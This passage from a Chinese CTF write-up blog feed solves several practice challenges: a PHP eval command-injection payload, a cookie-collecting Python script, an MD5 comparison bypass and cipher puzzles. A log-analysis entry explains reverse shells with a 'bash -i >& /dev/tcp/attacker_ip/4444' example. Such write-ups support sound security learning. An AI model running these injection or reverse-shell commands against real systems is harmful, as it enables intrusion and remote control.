class="line">[1,&quot;Leaf&quot;,1234]//,]</span><br></pre></td></tr></table></figure><p>再看后续read模式会把<code>/tmp/data.json</code>中内容读取然后带着php代码执行，所以我们可以利用这一点来进行RCE。</p><p>以下为read模式过程解释：</p><p>mode参数值为read为读取模式</p><ul><li>从文件读取内容（如 <code>[&#39;apple&#39;, &#39;banana&#39;]</code>）。</li><li>使用 <code>eval()</code> 把字符串当作 PHP 代码执行，相当于：</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$data = [&#x27;apple&#x27;, &#x27;banana&#x27;];</span><br></pre></td></tr></table></figure><ul><li>然后输出数组内容。</li></ul><p>我们还需要注意save模式中<code>addslashes()</code>函数的作用：</p><p><code>addslashes()</code> 是 PHP 的内置函数，用来在字符串中为以下 <strong>4 个字符</strong> 自动添加反斜杠转义（backslash）：</p><ul><li>单引号 <code>&#39;</code> -&gt; <code>\&#39;</code></li><li>双引号 <code>&quot;</code> -&gt; <code>\&quot;</code></li><li>反斜杠 <code>\</code> -&gt; <code>\\</code></li><li>NUL 字符（ASCII 0，<code>&quot;\0&quot;</code>） -&gt; <code>\0</code></li></ul><p>总结一下，我们需要先选择save模式，然后通过value传递payload，然后再选择read模式读取达到RCE。</p><p>接下来是编写payload的问题：为了能够使我们的payload能执行，我们先要闭合第一个<code>]</code>这里前面已经提到过，通过传递<code>]//</code>，之后<code>\n</code>换行在新的行中写要执行的php代码<code>echo &#39;cat/flag&#39;//</code></p><p>又因为<code>addslashes()</code>函数会把单引号转义，我们把<code>&#39;</code>替换成反引号</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">]//\n;echo `cat /flag`;//</span><br></pre></td></tr></table></figure><p>换行跟空格需要base64编码一下，最后得到的payload如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?mode=save&amp;value=]//%0a;echo%20`cat%20/flag`;//</span><br></pre></td></tr></table></figure><p>最后<code>?mode=read</code>读取到flag</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-04_22-05-58.png" alt="PixPin_2025-11-04_22-05-58"></p><h1 id="references"><a href="#references" class="headerlink" title="references"></a>references</h1><p>[<a href="https://blog.csdn.net/Leaf_initial/article/details/131560501">NSSCTF Round #13]web专项赛wp_[nssround#13 basic]timetrcer-CSDN博客</a></p><p><a href="https://blog.csdn.net/gitblog_09122/article/details/142229324">Flask Session Cookie Manager 安装和配置指南-CSDN博客</a></p><p>[<a href="https://www.cnblogs.com/magic123/articles/17512689.html">NSSRound#13 Basic]ez_factors - Magic水瓶 - 博客园</a></p><p><a href="https://github.com/Paradoxis/Flask-Unsign">GitHub - Paradoxis&#x2F;Flask-Unsign：命令行工具，用于通过猜测密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。 — GitHub - Paradoxis&#x2F;Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.</a></p><p>[<a href="https://blog.csdn.net/m0_73512445/article/details/133964825">NSSRound#13 Basic] 刷题记录_[nssround#13 basic]flask?jwt?(hard)-CSDN博客</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/11/04/NSSCTF-Round-13-%E9%83%A8%E5%88%86%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/</id>
    <link href="https://everythingis-ok.github.io/2025/11/04/NSSCTF-Round-13-%E9%83%A8%E5%88%86%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    <published>2025-11-04T14:08:49.000Z</published>
    <summary>
      <![CDATA[<h1 id="NSSCTF-Round-13-部分题目复现"><a href="#NSSCTF-Round-13-部分题目复现" class="headerlink" title="[NSSCTF Round #13]部分题目复现"></a>[NSSCTF Round #13]]]>
    </summary>
    <title>[NSSCTF Round #13]部分题目复现</title>
    <updated>2025-11-05T05:23:30.758Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="b01lers-2020-Scarambled"><a href="#b01lers-2020-Scarambled" class="headerlink" title="[b01lers 2020]Scarambled"></a>[b01lers 2020]Scarambled</h1><p>一道很有意思的题。</p><p>网页调用了一个youtube的视频。</p><p>观察到cookie中有两个特别的值<code>frequency和</code> <code>tranmissions</code>每一次点击网页中<code>reload</code> 发现<code>frequency</code>会增加1，<code>tranmissions</code>中被kxkxkxkxsh包裹的中间部分也会发生变化。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251104115200747.png" alt="image-20251104115200747"></p><p>假如把kxkxkxkxsh部分忽略掉，剩下的部分分成三部分：1(红箭头)2(黄箭头)3(黄线)</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251104121513715.png" alt="image-20251104121513715"></p><p>记录下来一些数据，我们会发现</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251104121011106.png" alt="image-20251104121011106"></p><p>数据中第三部分代表数据第二部分的位置，第一部分代表它存在于第二部分的前一个位置。</p><p>比如说frequency22中： 第三部分20代表4在第二十个位置，那么-在第19个位置，刚好与frequency10对应。甚至可以看到frequency25中显示CT,像是CTF的一部分，猜测完全拼接后会得到flag。发现尝试编写脚本，刷新页面不断获取transmissions中变化的数据，按照规律把他们拼接起来应该能得到flag。</p><p>脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> unquote</span><br><span class="line"></span><br><span class="line">url = <span class="string">&#x27;http://d1653c98-47b9-4f04-b138-71cf1c76520c.node3.buuoj.cn/&#x27;</span></span><br><span class="line">sess = requests.Session()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 假设我们预期索引不会超过 200（可根据实际调整）</span></span><br><span class="line">MAX_INDEX = <span class="number">200</span></span><br><span class="line">data = [<span class="string">&#x27;&#x27;</span>] * MAX_INDEX</span><br><span class="line">attempts = <span class="number">300</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(attempts):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        resp = sess.get(url, timeout=<span class="number">5</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[!] 请求失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    cj = resp.cookies</span><br><span class="line">    cookies_dict = requests.utils.dict_from_cookiejar(cj)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;transmissions&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> cookies_dict:</span><br><span class="line">        <span class="comment"># 如果没有该 cookie，跳过这次</span></span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    raw = cookies_dict[<span class="string">&#x27;transmissions&#x27;</span>].replace(<span class="string">&#x27;kxkxkxkxsh&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    decoded = unquote(raw)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 简单的格式检查：至少要有 3 个字符（用于 [0:1] 和 [2:]）</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(decoded) &lt; <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    key_str = decoded[<span class="number">2</span>:]</span><br><span class="line">    val = decoded[<span class="number">0</span>:<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> key_str.isdigit():</span><br><span class="line">        <span class="comment"># 如果索引不是数字，跳过</span></span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    idx = <span class="built_in">int</span>(key_str)</span><br><span class="line">    <span class="keyword">if</span> idx &lt; <span class="number">0</span> <span class="keyword">or</span> idx &gt;= MAX_INDEX:</span><br><span class="line">        <span class="comment"># 索引超出预期范围，跳过或调整 MAX_INDEX</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[!] 跳过不合理索引: <span class="subst">&#123;idx&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 写入（如果想避免覆盖，可以先判断是否已填充）</span></span><br><span class="line">    <span class="keyword">if</span> data[idx] == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">        data[idx] = val</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># 已存在，可以选择保留原值或替换，视场景决定</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出非空字符拼接成字符串</span></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span>.join(ch <span class="keyword">if</span> ch != <span class="string">&#x27;&#x27;</span> <span class="keyword">else</span> <span class="string">&#x27;?&#x27;</span> <span class="keyword">for</span> ch <span class="keyword">in</span> data)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251104123029383.png" alt="image-20251104123029383"></p><h2 id="references"><a href="#references" class="headerlink" title="references"></a>references</h2><p><a href="https://github.com/m3ssap0/CTF-Writeups/blob/master/b01lers%20CTF%202020/Scrambled/README.md">https://github.com/m3ssap0/CTF-Writeups/blob/master/b01lers%20CTF%202020/Scrambled/README.md</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/11/04/b01lers-2020-Scarambled/</id>
    <link href="https://everythingis-ok.github.io/2025/11/04/b01lers-2020-Scarambled/"/>
    <published>2025-11-04T04:35:42.000Z</published>
    <summary>
      <![CDATA[<h1 id="b01lers-2020-Scarambled"><a href="#b01lers-2020-Scarambled" class="headerlink" title="[b01lers 2020]Scarambled"></a>[b01lers 2020]Sc]]>
    </summary>
    <title>[b01lers 2020]Scarambled</title>
    <updated>2025-11-04T04:36:29.251Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="NSSCTF" scheme="https://everythingis-ok.github.io/tags/NSSCTF/"/>
    <category term="日志分析" scheme="https://everythingis-ok.github.io/tags/%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90/"/>
    <content>
      <![CDATA[<h1 id="陇剑杯-2021-简单日志分析（问3）"><a href="#陇剑杯-2021-简单日志分析（问3）" class="headerlink" title="[陇剑杯 2021]简单日志分析（问3）"></a>[陇剑杯 2021]简单日志分析（问3）</h1><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-26_14-33-16.png" alt="PixPin_2025-10-26_14-33-16"></p><p>先解释一下什么是反弹shell,</p><p>“反弹 shell”（reverse shell）是渗透测试和网络安全中非常核心的概念之一。<br> 简单说：它是一种<strong>让被控主机主动连接攻击者主机，从而获得交互式命令行控制权</strong>的方式。</p><p>在正常情况（正向 shell）下，是攻击者主动连接目标，比如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc target_ip 4444</span><br></pre></td></tr></table></figure><p>这是“我去找你”。</p><p>而<strong>反弹 shell 是相反的方向</strong>：被攻击的机器主动“反弹”一个连接回攻击者。<br> 换句话说：<strong>“你来找我”</strong>。</p><p>例如，攻击者在自己的电脑上监听：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 4444</span><br></pre></td></tr></table></figure><p>然后让目标主机执行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -i &gt;&amp; /dev/tcp/attacker_ip/4444 0&gt;&amp;1</span><br></pre></td></tr></table></figure><p>此时目标主机会主动连到攻击者的监听端口，攻击者就获得了一个 shell。</p><p> 查看一下日志，有三段base64编码字符串，依次解码</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-25_23-03-35.png" alt="PixPin_2025-10-25_23-03-35"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-25_23-04-36.png" alt="PixPin_2025-10-25_23-04-36"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-25_23-05-48.png" alt="PixPin_2025-10-25_23-05-48"></p><p>很明显第三段是在反弹shell。</p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/26/%E9%99%87%E5%89%91%E6%9D%AF-2021-%E7%AE%80%E5%8D%95%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%EF%BC%88%E9%97%AE3%EF%BC%89/</id>
    <link href="https://everythingis-ok.github.io/2025/10/26/%E9%99%87%E5%89%91%E6%9D%AF-2021-%E7%AE%80%E5%8D%95%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%EF%BC%88%E9%97%AE3%EF%BC%89/"/>
    <published>2025-10-26T06:38:19.000Z</published>
    <summary>
      <![CDATA[<h1 id="陇剑杯-2021-简单日志分析（问3）"><a href="#陇剑杯-2021-简单日志分析（问3）" class="headerlink" title="[陇剑杯 2021]简单日志分析（问3）"></a>[陇剑杯 2021]简单日志分析（问3）</h1><p>]]>
    </summary>
    <title>[陇剑杯 2021]简单日志分析（问3）</title>
    <updated>2026-05-08T13:13:51.340Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="misc" scheme="https://everythingis-ok.github.io/categories/misc/"/>
    <category term="rce4" scheme="https://everythingis-ok.github.io/tags/rce4/"/>
    <content>
      <![CDATA[<h1 id="SWPU-2020-套娃"><a href="#SWPU-2020-套娃" class="headerlink" title="[SWPU 2020]套娃"></a>[SWPU 2020]套娃</h1><p>下载好的附件打不开，不过因为xlsx本来就是压缩包的一种，我们直接修改改后缀打开。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_13-02-41-1761283497046-5.png" alt="PixPin_2025-10-24_13-02-41"></p><p>得到两个文件</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251024130518471.png" alt="image-20251024130518471"></p><p><code>RCE4data.txt</code>的文件内容是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p</span><br></pre></td></tr></table></figure><p>根据文件名来看应该是RCE4加密的密文，但是我们没有key。</p><p>另一个swpu.xls我们还是改成zip,然后打开没显示内容用记事本打开居然显示了密码：</p><p><img src="D:\work\notebook\ontebook\CTF\题目复现\NSSCTF每日一题\assets\PixPin_2025-10-24_13-17-46-1761283498591-7.png" alt="PixPin_2025-10-24_13-17-46"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">password:6e4c834d77cba03af41e1562a5bce84e</span><br></pre></td></tr></table></figure><p>zip里还有一个加密的压缩包，应该是它的密码，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_13-19-22-1761283501291-9.png" alt="PixPin_2025-10-24_13-19-22"></p><p>根据文件名，这应该就是我们要找的key,直接解密</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key:ABCDEFGHIJKLMNOPQRSTUVWXYZ</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_13-20-03-1761283510577-11.png" alt="PixPin_2025-10-24_13-20-03"></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/24/SWPU-2020-%E5%A5%97%E5%A8%83/</id>
    <link href="https://everythingis-ok.github.io/2025/10/24/SWPU-2020-%E5%A5%97%E5%A8%83/"/>
    <published>2025-10-24T05:25:56.000Z</published>
    <summary>
      <![CDATA[<h1 id="SWPU-2020-套娃"><a href="#SWPU-2020-套娃" class="headerlink" title="[SWPU 2020]套娃"></a>[SWPU 2020]套娃</h1><p>下载好的附件打不开，不过因为xlsx本来就是压缩包的一种]]>
    </summary>
    <title>[SWPU 2020]套娃</title>
    <updated>2026-05-08T13:13:43.564Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="misc" scheme="https://everythingis-ok.github.io/categories/misc/"/>
    <category term="NSSCTF" scheme="https://everythingis-ok.github.io/tags/NSSCTF/"/>
    <category term="md5碰撞" scheme="https://everythingis-ok.github.io/tags/md5%E7%A2%B0%E6%92%9E/"/>
    <content>
      <![CDATA[<h2 id="SWPUCTF-2022-新生赛-奇妙的MD5"><a href="#SWPUCTF-2022-新生赛-奇妙的MD5" class="headerlink" title="[SWPUCTF 2022 新生赛]奇妙的MD5"></a>[SWPUCTF 2022 新生赛]奇妙的MD5</h2><p>题目界面：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023171123659-1761210929097-17.png" alt="image-20251023171123659"></p><p>比较熟知的字符串一个是<code>0e215962017</code>md5加密后经过弱比较等于自身</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023171518437-1761210955203-20.png" alt="image-20251023171518437"></p><p>一个是<code>ffifdyop</code>MD5 加密后变成万能密码00000000。</p><p>提交ffifdyop进入第二关，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023171822826-1761211135725-22.png" alt="image-20251023171822826"></p><p>查看源代码</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023171931756-1761212284205-24.png" alt="image-20251023171931756"></p><p>需要传入的GET型参数x、ymd5值经php弱比较相同，可以搜索相关字符串比如<code>s1885207154a</code> 和<code>s1836677006a</code>也可以使用数组绕过，</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?x[]=1&amp;y[]=1</span><br></pre></td></tr></table></figure><p>然后跳转到下一关</p><p><img src="D:\work\notebook\ontebook\CTF\题目复现\NSSCTF每日一题\assets\image-20251023173631722-1761212287927-26-1761212306106-30.png" alt="image-20251023173631722"></p><p>是要进行md5强比较，这里使用数组绕过</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023173757201-1761212304166-28.png" alt="image-20251023173757201"></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/23/%C2%96SWPUCTF-2022-%E6%96%B0%E7%94%9F%E8%B5%9B-%E5%A5%87%E5%A6%99%E7%9A%84MD5/</id>
    <link href="https://everythingis-ok.github.io/2025/10/23/%C2%96SWPUCTF-2022-%E6%96%B0%E7%94%9F%E8%B5%9B-%E5%A5%87%E5%A6%99%E7%9A%84MD5/"/>
    <published>2025-10-23T10:02:47.000Z</published>
    <summary>
      <![CDATA[<h2 id="SWPUCTF-2022-新生赛-奇妙的MD5"><a href="#SWPUCTF-2022-新生赛-奇妙的MD5" class="headerlink" title="[SWPUCTF 2022 新生赛]奇妙的MD5"></a>[SWPUCTF 2022 新生]]>
    </summary>
    <title>[SWPUCTF 2022 新生赛]奇妙的MD5</title>
    <updated>2025-10-24T05:27:03.724Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="misc" scheme="https://everythingis-ok.github.io/categories/misc/"/>
    <category term="编码" scheme="https://everythingis-ok.github.io/tags/%E7%BC%96%E7%A0%81/"/>
    <content>
      <![CDATA[<h1 id="SWPU-2019-伟大的侦探"><a href="#SWPU-2019-伟大的侦探" class="headerlink" title="[SWPU 2019]伟大的侦探"></a>[SWPU 2019]伟大的侦探</h1><p>打开附件 <code>misc</code>文件夹需要解压密码，<code>密码.txt</code>里有一串乱码，我们尝试一下用各种编码读，使用<code>010 Editor</code> <code>EBCDIC</code>编码即可发现密码明文。</p><p>具体操作为视图-&gt;编辑方式-&gt;EBCDIC</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023165238456-1761209560001-1-1761209587161-5.png" alt="image-20251023165238456"></p><p>文件夹解压缩之后可以看到里面的内容</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023165258910-1761209580120-3.png" alt="image-20251023165258910"></p><p>谷歌识图发现是“跳舞的小人”密码，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023165459685-1761209700891-11-1761209702113-13-1761209703306-15.png" alt="image-20251023165459685"></p><p>搜索一下对照表对找得到flag。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251023165401310-1761209643975-9.png" alt="image-20251023165401310"></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/10/23/SWPU-2019-%E4%BC%9F%E5%A4%A7%E7%9A%84%E4%BE%A6%E6%8E%A2/</id>
    <link href="https://everythingis-ok.github.io/2025/10/23/SWPU-2019-%E4%BC%9F%E5%A4%A7%E7%9A%84%E4%BE%A6%E6%8E%A2/"/>
    <published>2025-10-23T08:56:12.000Z</published>
    <summary>
      <![CDATA[<h1 id="SWPU-2019-伟大的侦探"><a href="#SWPU-2019-伟大的侦探" class="headerlink" title="[SWPU 2019]伟大的侦探"></a>[SWPU 2019]伟大的侦探</h1><p>打开附件 <code>misc<]]>
    </summary>
    <title>[SWPU 2019]伟大的侦探</title>
    <updated>2026-05-08T13:13:24.715Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="web" scheme="https://everythingis-ok.github.io/categories/web/"/>
    <category term="php代码审计" scheme="https://everythingis-ok.github.io/tags/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <category term="0宽隐写" scheme="https://everythingis-ok.github.io/tags/0%E5%AE%BD%E9%9A%90%E5%86%99/"/>
    <content>
      <![CDATA[<h1 id="HNCTF-2022-WEEK3-Fun-php"><a href="#HNCTF-2022-WEEK3-Fun-php" class="headerlink" title="[HNCTF 2022 WEEK3]Fun_php"></a>[HNCTF 2022 WEEK3]Fun_php</h1><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span> <span class="string">&quot;k1y.php&quot;</span>;</span><br><span class="line"><span class="keyword">include</span> <span class="string">&quot;fl4g.php&quot;</span>;</span><br><span class="line"><span class="variable">$week_1</span> = <span class="literal">false</span>;</span><br><span class="line"><span class="variable">$week_2</span> = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$getUserID</span> = @<span class="variable">$_GET</span>[<span class="string">&#x27;user&#x27;</span>]; </span><br><span class="line"><span class="variable">$getpass</span> = (<span class="keyword">int</span>)@<span class="variable">$_GET</span>[<span class="string">&#x27;pass&#x27;</span>]; </span><br><span class="line"><span class="variable">$getmySaid</span> = @<span class="variable">$_GET</span>[<span class="string">&#x27;mySaid&#x27;</span>]; </span><br><span class="line"><span class="variable">$getmyHeart</span> = @<span class="variable">$_GET</span>[<span class="string">&#x27;myHeart&#x27;</span>]; </span><br><span class="line"></span><br><span class="line"><span class="variable">$data</span> = @<span class="variable">$_POST</span>[<span class="string">&#x27;data&#x27;</span>];</span><br><span class="line"><span class="variable">$verify</span> =@<span class="variable">$_POST</span>[<span class="string">&#x27;verify&#x27;</span>];</span><br><span class="line"><span class="variable">$want</span> = @<span class="variable">$_POST</span>[<span class="string">&#x27;want&#x27;</span>];</span><br><span class="line"><span class="variable">$final</span> = @<span class="variable">$_POST</span>[<span class="string">&#x27;final&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="string">&quot;Welcom&quot;</span>==<span class="number">0</span>&amp;&amp;<span class="string">&quot;T0&quot;</span>==<span class="number">0</span>&amp;&amp;<span class="string">&quot;1he&quot;</span>==<span class="number">1</span>&amp;&amp;<span class="string">&quot;HNCTF2022&quot;</span>==<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;Welcom T0 1he HNCTF2022&lt;BR&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="string">&quot;state_HNCTF2022&quot;</span> == <span class="number">1</span>) <span class="keyword">echo</span> <span class="variable">$hint</span>;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">echo</span> <span class="string">&quot;HINT? NoWay~!&lt;BR&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">is_string</span>(<span class="variable">$getUserID</span>))</span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$user</span> + <span class="variable">$getUserID</span>; <span class="comment">//u5er_D0_n0t_b3g1n_with_4_numb3r</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$user</span> == <span class="number">114514</span> &amp;&amp; <span class="variable">$getpass</span> == <span class="variable">$pass</span>)&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">ctype_alpha</span>(<span class="variable">$getmySaid</span>)) </span><br><span class="line">        <span class="keyword">die</span>();</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$getmyHeart</span>)) </span><br><span class="line">        <span class="keyword">die</span>();</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$getmySaid</span>) != <span class="title function_ invoke__">md5</span>(<span class="variable">$getmyHeart</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Cheater!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="variable">$week_1</span> = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">is_array</span>(<span class="variable">$data</span>))&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$i</span>=<span class="number">0</span>;<span class="variable">$i</span>&lt;<span class="title function_ invoke__">count</span>(<span class="variable">$data</span>);<span class="variable">$i</span>++)&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$data</span>[<span class="variable">$i</span>]===<span class="string">&quot;Probius&quot;</span>) <span class="keyword">exit</span>();</span><br><span class="line"></span><br><span class="line">        <span class="variable">$data</span>[<span class="variable">$i</span>]=<span class="title function_ invoke__">intval</span>(<span 